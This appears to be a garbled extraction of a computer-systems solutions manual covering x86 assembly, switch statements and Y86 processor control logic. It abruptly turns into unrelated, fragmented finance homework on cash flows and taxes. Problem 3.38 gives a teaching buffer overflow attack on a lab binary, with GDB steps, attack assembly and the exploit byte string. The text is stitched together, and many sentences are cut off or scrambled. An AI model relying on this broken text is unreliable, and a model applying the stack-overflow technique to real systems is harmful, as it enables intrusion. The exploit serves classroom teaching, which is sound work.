in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
1.Liquidity2.Accounting&cash flows 4.Cash Flow5.Book VS MarketIt can't happen.Market value can't be negative. Debt can not ex 6.Cash flow from assets 7.Operating Cash Flow 8.NWC& Capital Spending9.Cash Flow 10.Firm Values4.Calculating Taxes7.Balance SheetShareholders' euity: Total long-term debt Common stock($1 par value)Capital surplusTo creditors,it can be negative when the deb 0.15*50000=7500 0.25*(75000-50000)=6250 0.34*(100000-75000)=85000.39*(246000-100000)=56940 income tax=79190taxable income=246000Long-term debtPreferred stockmarginal tax rate=39%Long-term Liabilities&S($ in millions)Accumulated retained earningsTrue. Liquid means all assets can be convert In accounting,it is necessary to show the cacash flow or not.Sometimes it may be not correct.3.Accounting Statement of Cash Flow The munber means the change in cash flow,anda.Accounting ranges are different.Cash flowreplacement of old equipment in financial cash flow.b.Calculation methods are different.Financia actual number of current cash basis.c,Different in dealing with interest expensefinancial cash flow eliminate the impact of interest.Concept QuestionQuestions&ProblemThe adjustment reprsent the adjuest in accou so the shareholders are not suffer from it.While a company is growing rapidly,the capitthis company is not good only by focus on cash flow.It is ordinary for companies which are just Yes.NWC=increase in current assets-increase in the situation like inventory reduced.In NCS,it means useful life of asset becomes longer.Yes. It can happened when the amount of divi13.Income statementSaling revenues Cost of goods sold Cost of selling Depreciation Operating income EBITIntrest expense Pratax income TaxesNet income income=217,100b.OCF=EBIT+depreciation-taxes =415000+110000-116900 =40810016.Balance Sheet22.Cash Flow a.owners' equity=(780+3480)-(318+1800)=2142 Total equityTotal liabilities&stockholders' quitySENBET DISCOUNTIncome StatementJshareholders' equity + total liabilities=tot shareholders' equity= common stock+accumulatSo, Common stock=45owners'equity2009=total assets2009-total lia owners'equity2010=total assets2010-total lia =(4080+846)-(348+2064)=2514b.Change in net working capital =change in current assets-changec.SalesDepreciationCost of goods sold Other expense EBIT Interest EBT TaxesNet incomeAdditions to retained earningsNet working capital10=846-348=498EBIT=sales-costs-depreciation Change in NWC=498-462=36Net working capital09=780-318=462 taxes=(4380-259)*0.35=1442OCF=4380+960-1442=3898Fixed assets sold=Fixed assets bought-net ca =1800-net capital spending Net capital spending=net fixd assets10-net f =4080-3480+960 =1560Fixed assets sold=1800-net capital spending=OCF=EBIT+depreciation-taxes Ingersoll,Inc.2009 and 2010 Income StatementCash flow from assets =OCF-change in NWC-net capital spanding=3Cash flow from assets=OCF-change in NWC-net 2009 and 2010 Bal=10320-4980-960=4380OCF=4380+960-taxesDividends24a.Cash flow from assets2010Cash flow from assets=OCF-change in NWC-netOCF=EBIT+depreciation-taxes=2459+751-699.38=Change in NWC=(CA2010-CL2010)-(CA2009-CL2009Net capital spending=NFA2010-NFA2001+depreciCash flow from assets=2510.62-819-1299=396.6b.Cash flow to creditors=interest-(LTD2010-LTD2009)=402-(10702-9173)=-1c.Cash flow to stockholders=dividends-net nenet new equity=common stock2010-common stocommon stock=total shareholders' equity-retain earningsnet new equity=total shareholders' equity(2010-2009)-retain estionsnverted into cash in a price.he cash flow on the income statement whether there has the y be not correct.w,and it is useless in analysing a company.flow in accounting statement represent cash,which includes financial cash flow.ancial cash flow is estimated, accounting cash flow issis.pense.Accounting cash flow consider the interest expense, e impact of interest.'t be negative. Debt can not exceed the market value of assets.capital cost maybe large,in this situation,we can't difine focus on cash flow.just started.ease in current liabilities,Negative NWC can be happened reduced.sset becomes longer.dividends less than stock selling.e debts is larger.accounting statement,which means cash flow did not happened er from it.oblemss=total liabilities and shareholders' equity mulated retained earningsck=4513000-2160000-1960000=393000l liabilities2009=2142l liabilities2010=2514hange in current assets-change in current debt et capital spendingal spendingnet fixed assets09+depreciation60ding=1800-1560=240-net capital spandinge in NWC-net capital spanding=3898-36-1560=2302637.00701.009.38=2510.62L2009)=(13512-3287)-(12812-3406)=819 -net capital spandinget new equity=701-net new equityn stock2009s' equity-retain earningsers' equity(2010-2009)-retain earnings(2010-2009)preciation2010=23518-22970+751=11299396.62st-(LTD2010-LTD2009)3)=-1127。